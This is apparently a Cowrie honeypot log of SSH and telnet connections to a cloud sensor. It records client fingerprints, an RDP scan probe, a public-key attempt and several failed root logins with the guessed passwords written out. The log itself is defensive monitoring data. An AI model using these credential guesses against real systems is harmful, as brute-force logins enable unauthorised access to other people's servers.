{"eventid":"cowrie.session.closed","duration":43.926921367645264,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:16:02.830161Z","src_ip":"152.42.224.71","session":"d74e6011f99b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.205.247.46","src_port":37221,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dc83f56421e","protocol":"telnet","message":"New connection: 201.205.247.46:37221 (159.203.135.109:23) [session: 5dc83f56421e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:17:46.228460Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.205.247.46","src_port":37220,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffcd1bba2b98","protocol":"telnet","message":"New connection: 201.205.247.46:37220 (159.203.135.109:23) [session: ffcd1bba2b98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:17:49.085455Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":44092,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6d778c02464","protocol":"ssh","message":"New connection: 103.27.238.120:44092 (159.203.135.109:22) [session: a6d778c02464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:17:59.883360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:17:59.887146Z","src_ip":"103.27.238.120","session":"a6d778c02464","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:00.170135Z","src_ip":"103.27.238.120","session":"a6d778c02464","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789t","message":"login attempt [root/123456789t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:01.022040Z","src_ip":"103.27.238.120","session":"a6d778c02464","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:02.309192Z","src_ip":"103.27.238.120","session":"a6d778c02464","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":43056,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5739ddaaf89","protocol":"ssh","message":"New connection: 103.172.78.219:43056 (10.17.0.5:22) [session: e5739ddaaf89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:08.973250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:08.979785Z","src_ip":"103.172.78.219","session":"e5739ddaaf89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:09.235585Z","src_ip":"103.172.78.219","session":"e5739ddaaf89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":35310,"dst_ip":"10.17.0.5","dst_port":22,"session":"3010ad8a39f4","protocol":"ssh","message":"New connection: 103.122.221.179:35310 (10.17.0.5:22) [session: 3010ad8a39f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:09.643806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:09.652442Z","src_ip":"103.122.221.179","session":"3010ad8a39f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:09.902178Z","src_ip":"103.122.221.179","session":"3010ad8a39f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia5228","message":"login attempt [root/nokia5228] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:10.000729Z","src_ip":"103.172.78.219","session":"e5739ddaaf89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hfleuf","message":"login attempt [root/hfleuf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:10.653281Z","src_ip":"103.122.221.179","session":"3010ad8a39f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":33970,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2b45b0391d5","protocol":"ssh","message":"New connection: 46.19.67.181:33970 (10.17.0.5:22) [session: d2b45b0391d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:11.211218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:11.216826Z","src_ip":"46.19.67.181","session":"d2b45b0391d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:11.259989Z","src_ip":"103.172.78.219","session":"e5739ddaaf89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:11.332825Z","src_ip":"46.19.67.181","session":"d2b45b0391d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rfvfcenhf","message":"login attempt [root/rfvfcenhf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:11.689456Z","src_ip":"46.19.67.181","session":"d2b45b0391d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:11.908842Z","src_ip":"103.122.221.179","session":"3010ad8a39f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:12.807781Z","src_ip":"46.19.67.181","session":"d2b45b0391d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":62903,"dst_ip":"159.203.135.109","dst_port":22,"session":"32fc77cc5377","protocol":"ssh","message":"New connection: 152.42.212.128:62903 (159.203.135.109:22) [session: 32fc77cc5377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:18.117625Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:18.122439Z","src_ip":"152.42.212.128","session":"32fc77cc5377","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:18.126544Z","src_ip":"152.42.212.128","session":"32fc77cc5377","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.16126203536987,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:22.389458Z","src_ip":"201.205.247.46","session":"5dc83f56421e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.05792999267578,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:25.143255Z","src_ip":"201.205.247.46","session":"ffcd1bba2b98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":59282,"dst_ip":"159.203.135.109","dst_port":22,"session":"0db97ee79945","protocol":"ssh","message":"New connection: 103.176.20.57:59282 (159.203.135.109:22) [session: 0db97ee79945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:28.117038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:28.124850Z","src_ip":"103.176.20.57","session":"0db97ee79945","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:28.377411Z","src_ip":"103.176.20.57","session":"0db97ee79945","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"444555","message":"login attempt [root/444555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:29.126064Z","src_ip":"103.176.20.57","session":"0db97ee79945","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:30.377804Z","src_ip":"103.176.20.57","session":"0db97ee79945","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":51416,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd5b75b3064a","protocol":"ssh","message":"New connection: 37.233.85.71:51416 (159.203.135.109:22) [session: fd5b75b3064a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:32.340027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:32.344843Z","src_ip":"37.233.85.71","session":"fd5b75b3064a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:32.449439Z","src_ip":"37.233.85.71","session":"fd5b75b3064a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1020304050","message":"login attempt [root/1020304050] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:32.763778Z","src_ip":"37.233.85.71","session":"fd5b75b3064a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:33.871664Z","src_ip":"37.233.85.71","session":"fd5b75b3064a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38818,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e5409f02171","protocol":"telnet","message":"New connection: 152.42.224.71:38818 (10.17.0.5:23) [session: 6e5409f02171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:38.891048Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.177.223","src_port":51120,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e65482dc0a0","protocol":"ssh","message":"New connection: 51.79.177.223:51120 (10.17.0.5:22) [session: 3e65482dc0a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:59.572887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:59.580773Z","src_ip":"51.79.177.223","session":"3e65482dc0a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:18:59.818607Z","src_ip":"51.79.177.223","session":"3e65482dc0a0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:e8:80:76:87:a3:10:5b:e0:96:92:a9:3c:17:a2:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPb5K6vx0/zlXMEUN3swd8bRiv9Ep5BVXX9EAXHzkfRBNt9Pr5rk5/T2KhFO6gBmQVSKJChnkj5LcvMJdbTcr+M707cBNubUT/th8rkUtOWjQXGA+LGPgchMHacRfDWhqoqaOCquGDRQpHKNtisJSFpSWq5pU3pc+55iQmz3hHMdhhuE07cRR0Y94AEx/c5+tS/RR9zIrhmemYJ0VJ9vwSCyx1BTqMD9zdHppgBN61we/kRadVPM1wMw8osW6zQJgAoF7rK6e1OXCMP3oIhjT5J4VNrUNzOXzIMwGcumMEoCzfh4/Lypicd7Ko+6CiFwSejOEjha9y0/EZgu2mhjaj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:e8:80:76:87:a3:10:5b:e0:96:92:a9:3c:17:a2:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:19:00.979282Z","src_ip":"51.79.177.223","session":"3e65482dc0a0","protocol":"ssh"}
